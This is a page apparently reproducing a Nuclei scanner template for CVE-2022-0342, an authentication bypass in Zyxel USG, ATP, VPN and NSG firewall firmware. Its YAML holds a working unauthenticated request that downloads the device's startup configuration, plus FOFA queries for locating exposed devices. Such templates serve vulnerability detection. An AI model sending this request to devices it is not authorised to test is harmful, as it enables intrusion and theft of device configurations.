Zyxel - Authentication Bypass

ID: CVE-2022-0342

Severity: critical

Author: SleepingBag945,Powerexploit

Tags: cve2022,cve,zyxel,auth-bypass,router

Description

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

YAML Source

id: CVE-2022-0342

info:
  name: Zyxel - Authentication Bypass
  author: SleepingBag945,Powerexploit
  severity: critical
  description: |
    An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
  reference:
    - https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0342
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml
    - https://github.com/f1tao/awesome-iot-security-resource
    - https://github.com/murchie85/twitterCyberMonitor
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0342
    cwe-id: CWE-287
    epss-score: 0.08015
    epss-percentile: 0.94281
    cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: usg40_firmware
    fofa-query:
      - body="/2FA-access.cgi" && body="zyxel zyxel_style1"
      - body="/2fa-access.cgi" && body="zyxel zyxel_style1"
  tags: cve2022,cve,zyxel,auth-bypass,router

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "interface-name"
          - "saved at"
        condition: and

      - type: word
        part: header
        words:
          - "text/zyxel"
          - "attachment; filename="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f78a50e0809b240e04d12a6ec3294b0ee88ecc29a15f91b09ab65cc42bc2cc22022076aef692d8ef1a0b4f29a0b946d0dccccd41014a2361c5137a8456879d67b0b7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0342.yaml"

View on Github